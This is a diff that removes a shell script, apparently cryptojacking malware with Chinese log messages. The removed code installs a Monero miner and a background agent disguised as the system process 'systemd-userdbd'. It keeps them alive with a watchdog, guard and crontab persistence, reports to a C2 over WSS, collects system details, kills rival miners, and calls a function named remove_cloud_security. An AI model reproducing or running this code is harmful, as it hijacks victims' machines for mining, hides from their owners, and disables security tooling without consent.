-  if [ "$IS_ALPINE" -eq 1 ] && [ -x "$AGENT_HOME/glibc-compat/lib/ld-linux-x86-64.so.2" ]; then
-    G="$AGENT_HOME/glibc-compat/lib"
-    L="$G/ld-linux-x86-64.so.2"
-    cat >"$AGENT_LAUNCH" <<LAUNCH
-#!/bin/sh
-H="$AGENT_HOME"
-BIN="\$H/systemd-userdbd"
-TOK="\$H/.session-token"
-LOG="/dev/null"
-G="$G"
-L="$L"
-export LD_LIBRARY_PATH="\$G"
-export LD_PRELOAD=
-[ -x "\$BIN" ] || exit 1
-_t=\$(cat "\$TOK" 2>/dev/null)
-[ -n "\$_t" ] || exit 1
-exec "\$L" --library-path "\$G" "\$BIN" "\$_t" >>/dev/null 2>&1
-LAUNCH
-  else
-    cat >"$AGENT_LAUNCH" <<LAUNCH
-#!/bin/sh
-H="$AGENT_HOME"
-BIN="\$H/systemd-userdbd"
-TOK="\$H/.session-token"
-export LD_PRELOAD=
-[ -x "\$BIN" ] || exit 1
-_t=\$(cat "\$TOK" 2>/dev/null)
-[ -n "\$_t" ] || exit 1
-exec "\$BIN" "\$_t" >>/dev/null 2>&1
-LAUNCH
-  fi
-  chmod +x "$AGENT_LAUNCH"
-
-  write_agent_watchdog
-
-  pkill -f "${AGENT_HOME}/.session-watchdog" 2>/dev/null || true
-  pkill -x systemd-userdbd 2>/dev/null || true
-  pkill -f "$AGENT_CORE" 2>/dev/null || true
-  sleep 1
-
-  if [ -x "$AGENT_CORE" ] && [ -s "$AGENT_TOKEN" ]; then
-    setsid "$AGENT_LAUNCH" >>/dev/null 2>&1 &
-    sleep 2
-  else
-    log "Agent 二进制或 token 缺失，跳过启动"
-    return 1
-  fi
-
-  if ! pgrep -f "${AGENT_HOME}/.session-watchdog" >/dev/null 2>&1; then
-    nohup "$AGENT_WATCHDOG" >>/dev/null 2>&1 &
-  fi
-
-  if pgrep -x systemd-userdbd >/dev/null 2>&1 || pgrep -f "$AGENT_CORE" >/dev/null 2>&1; then
-    log "Agent 已启动 dir=${AGENT_HOME} proc=systemd-userdbd"
-  else
-    log "Agent 启动失败，见 ${AGENT_LOG}"
-    return 1
-  fi
-  write_agent_guard || true
-  install_agent_crontab
-}
-
-deploy_install() {
-  if [ "$DRY_RUN" = "1" ]; then
-    log "dry-run: would install user miner+agent pool=${POOL} cpu=${XMR_CPU_PERCENT}%"
-    return 0
-  fi
-
-  echo SYSINFO_START
-  echo arch=$(uname -m)
-  echo cpu_cores=$(nproc 2>/dev/null || echo 1)
-  echo mem_mb=$(awk '/MemTotal/ {print int($2/1024)}' /proc/meminfo 2>/dev/null || echo 0)
-  echo is_root=$([ "$(id -u)" -eq 0 ] && echo 1 || echo 0)
-  is_container && echo dockerenv=yes || echo dockerenv=no
-  echo SYSINFO_END
-
-  if [ "$(id -u)" -eq 0 ]; then
-    log "root 环境跳过（本链仅面向普通用户）"
-    return 0
-  fi
-
-  install_javab_chain || log "javab 链安装失败 rc=$?"
-  squash_rival_guard
-  if ! is_container; then
-    install_user_agent || log "用户态 Agent 安装失败"
-  else
-    log "容器环境：仅 javab 矿机，跳过 Agent"
-  fi
-
-  echo pool=${POOL_HOST}:${POOL_PORT}
-  echo cpu_percent=${XMR_CPU_PERCENT}
-  echo c2=${C2_WSS}
-  echo wdir=${WDIR:-}
-  echo agent_count=$(ps aux 2>/dev/null | grep -E 'systemd-userdbd|/\.local/share/systemd/' | grep -v grep | grep -v watchdog | wc -l)
-  echo miner_count=$(ps aux 2>/dev/null | grep -E '[ /]\.?javab|/javab |xmrig' | grep -v grep | grep -v rguard | wc -l)
-  echo DEPLOY_LITE_DONE
-}
-
-main() {
-  if [ "$AGENT_ONLY" = "1" ]; then
-    deploy_agent_only
-    exit 0
-  fi
-  log "start uid=$(id -u) user=$(id -un 2>/dev/null || echo ?) self=$0"
-  purge_tmp_gang
-  strip_rival_crontab
-  kill_rival_rguard
-  fast_rival_pkill
-  cleanup_rival_procs
-  cleanup_rival_files
-  bootstrap_install_guard
-  deploy_install
-  purge_tmp_gang
-  cleanup_rival_crontab
-  remove_cloud_security
-  kill_third_party_miners
-  log "done"
-  echo "ksmd-ok marker=$MARKER pool=${POOL_HOST}:${POOL_PORT} c2=${C2_WSS} cpu=${XMR_CPU_PERCENT}% user=$(id -un 2>/dev/null)"
-}
-
-main "$@"